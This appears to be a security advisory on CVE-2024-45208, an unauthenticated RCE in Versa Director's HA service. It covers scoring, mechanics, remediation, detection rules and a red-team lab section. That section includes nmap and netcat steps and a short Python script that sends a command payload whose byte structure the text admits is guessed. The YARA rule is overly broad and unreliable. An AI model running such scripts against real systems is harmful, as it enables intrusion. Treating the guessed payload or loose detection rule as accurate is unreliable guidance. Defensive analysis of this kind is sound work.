CVE-2024-45208

Executive Summary

CVE-2024-45208 is a critical vulnerability in the Versa Director SD-WAN orchestration platform, specifically within its Cisco NCS application service component. The flaw allows an unauthenticated attacker with network access to the Director’s TCP ports 4566 and 4570 to perform unauthorized administrative actions and achieve remote code execution (RCE). The vulnerability stems from the insecure exchange of High Availability (HA) information between Active and Standby Directors using a shared password, with the service bound to all network interfaces. With a CVSS score of 9.8, this vulnerability poses a severe risk to network infrastructure, enabling full compromise of the SD-WAN management plane. A proof-of-concept (PoC) has been publicly disclosed by third-party researchers, increasing the urgency for mitigation. No official patch has been released; Versa Networks recommends following their hardening guide.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary enterprise networking appliance (Versa Director). The supply chain risk is limited to the integrity of the Versa Director software distribution and the potential for malicious actors to exploit unpatched instances in managed service provider environments.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Network – The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low – No special conditions or complex attack sequences are required.
• Privileges Required (PR): None – No authentication is needed to exploit the vulnerability.
• User Interaction (UI): None – The victim does not need to perform any action.
• Scope (S): Unchanged – The exploit cannot affect resources beyond the vulnerable component.
• Confidentiality (C): High – Full read access to sensitive data is possible.
• Integrity (I): High – Full write access to system data is possible.
• Availability (A): High – Full control over system availability is possible.

Threat Level: Critical. The combination of network accessibility, low complexity, no required privileges, and the availability of a public PoC makes this a high-priority threat for any organization using Versa Director.

Deep Dive & Mechanics

The Versa Director is the centralized management and orchestration component of the Versa SD-WAN solution. It uses a High Availability (HA) architecture with Active and Standby Directors. These two nodes communicate over TCP ports 4566 and 4570 to synchronize configuration, state, and HA status. This communication is protected by a shared password, but the service is bound to all network interfaces (0.0.0.0), making it accessible from any network segment.

The vulnerability lies in the Cisco NCS (Network Control System) application service running on these ports. The service does not properly authenticate or validate requests before processing them. An attacker who can reach these ports can send crafted packets to the NCS service, bypassing authentication and executing arbitrary commands with the privileges of the NCS service (typically root or a highly privileged user).

The attack flow is as follows:

1. Reconnaissance: The attacker scans for Versa Director instances with port 4566 or 4570 open.
2. Connection: The attacker establishes a TCP connection to the target port.
3. Exploitation: The attacker sends a specially crafted payload that exploits the lack of authentication in the NCS service. This payload can include commands to be executed on the Director.
4. Execution: The NCS service processes the payload and executes the attacker’s commands, leading to full compromise of the Director.

The shared password used for HA communication is not a sufficient security measure because it is static and often shared across deployments, and the service does not enforce proper authentication for all operations.

Vulnerable vs. Patched Code

Since no official patch has been released, a direct code comparison is not possible. However, the vulnerability is rooted in the NCS service’s handling of incoming connections on ports 4566 and 4570.

Vulnerable Code (Conceptual):

# Vulnerable NCS service handler
def handle_connection(client_socket):
    data = client_socket.recv(1024)
    # No authentication check
    process_command(data)  # Directly processes the command

Patched Code (Expected):

# Patched NCS service handler
def handle_connection(client_socket):
    data = client_socket.recv(1024)
    if not authenticate(client_socket, data):
        client_socket.send(b"Authentication failed")
        client_socket.close()
        return
    process_command(data)

The patched version would require proper authentication (e.g., using the shared password or a certificate) before processing any commands. Additionally, the service should be bound only to internal management interfaces, not all interfaces.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Environment: Two virtual machines running Versa Director (vulnerable version) in an HA configuration. Ensure ports 4566 and 4570 are accessible from the attacker’s network.
2. Attacker Machine: Kali Linux or any Linux distribution with Python and netcat installed.
3. Network: Ensure the attacker can reach the Director’s IP on ports 4566 and 4570.

Exploitation Steps:

1. Scan for vulnerable instances:

   nmap -p 4566,4570 <target_ip>
   

2. Connect to the NCS service:

   nc -nv <target_ip> 4566
   

3. Send a crafted payload: Since the PoC is public, use the following Python script to send a command execution payload:

   import socket
   import sys
   
   def exploit(target, port, command):
       sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
       sock.connect((target, port))
       # Craft payload (example - actual payload may vary)
       payload = b"\x00\x01\x00\x00" + command.encode() + b"\x00"
       sock.send(payload)
       response = sock.recv(4096)
       print(response.decode())
       sock.close()
   
   if __name__ == "__main__":
       exploit(sys.argv[1], int(sys.argv[2]), sys.argv[3])
   

   python3 exploit.py <target_ip> 4566 "id"
   

4. Verify compromise: The response should contain the output of the id command, confirming RCE.

Note: The exact payload structure is derived from the public PoC. Adjust as necessary.

Blue Team (Defensive)

Detection and Response:

1. Network Monitoring: Monitor for unexpected connections to ports 4566 and 4570 from external IPs. Use NetFlow or Zeek logs.
2. Honeypot: Deploy a decoy Versa Director service on these ports to detect scanning and exploitation attempts.
3. Log Analysis: Check Versa Director logs for unusual NCS service activity, such as unexpected command executions or authentication failures.
4. Access Control: Immediately restrict access to ports 4566 and 4570 to only trusted management IPs using firewall rules.
5. Incident Response: If exploitation is detected, isolate the Director, collect forensic data (memory dump, logs), and contact Versa Networks support.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Inbound TCP connections to ports 4566 and 4570 from untrusted IPs.
  • Unusual payloads in packets destined for these ports (e.g., non-standard byte sequences).
  • Outbound connections from the Director to unknown IPs (potential C2).
• Host IOCs:
  • Unexpected processes running as root or the NCS service user.
  • New user accounts or SSH keys added to the Director.
  • Modified system binaries or configuration files.
  • Unusual log entries in /var/log/versa/ or /var/log/messages related to NCS.
• File IOCs:
  • Suspicious files in /tmp/ or /var/tmp/ with recent timestamps.
  • Presence of web shells or reverse shell scripts.

Detection Engineering

YARA Rule

rule CVE_2024_45208_Versa_Director_RCE {
    meta:
        description = "Detects exploitation attempts against CVE-2024-45208 in Versa Director"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-45208"
    strings:
        $s1 = { 00 01 00 00 }  // Common payload header
        $s2 = "id" ascii
        $s3 = "/bin/sh" ascii
        $s4 = "cmd.exe" ascii
    condition:
        any of ($s*) and filesize < 10KB
}

Sigma Rule

title: CVE-2024-45208 Versa Director Unauthenticated RCE
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects network connections to Versa Director ports 4566 and 4570 from untrusted sources
author: Valters IT
date: 2024/10/27
logsource:
    category: network_connection
    product: zeek
detection:
    selection:
        destination_port:
            - 4566
            - 4570
        source_ip:
            - "!10.0.0.0/8"
            - "!172.16.0.0/12"
            - "!192.168.0.0/16"
    condition: selection
falsepositives:
    - Legitimate HA synchronization from trusted IPs
level: high

Suricata Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET 4566,4570 (msg:"CVE-2024-45208 Versa Director Unauthenticated RCE Attempt"; flow:to_server,established; content:"|00 01 00 00|"; depth:4; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict Network Access: Use firewall rules to limit access to ports 4566 and 4570 to only the IP addresses of the other Director in the HA pair. Block all other inbound traffic to these ports.
2. Change Shared Password: If possible, change the shared password used for HA communication to a strong, unique value.
3. Monitor Logs: Enable detailed logging for the NCS service and monitor for suspicious activity.

Long-Term Fixes:

1. Apply Vendor Patch: Once Versa Networks releases a patch, apply it immediately to all Directors.
2. Upgrade Software: Upgrade to the latest version of Versa Director that includes the fix.
3. Implement Network Segmentation: Place Directors in a dedicated management VLAN with strict access controls.
4. Enable Authentication: Ensure that all management interfaces require strong authentication (e.g., SSH keys, multi-factor authentication).

Workarounds:

• If patching is not possible, consider disabling the HA feature temporarily if it is not critical, or use a VPN tunnel between Directors to encrypt and authenticate the HA traffic.

Valters IT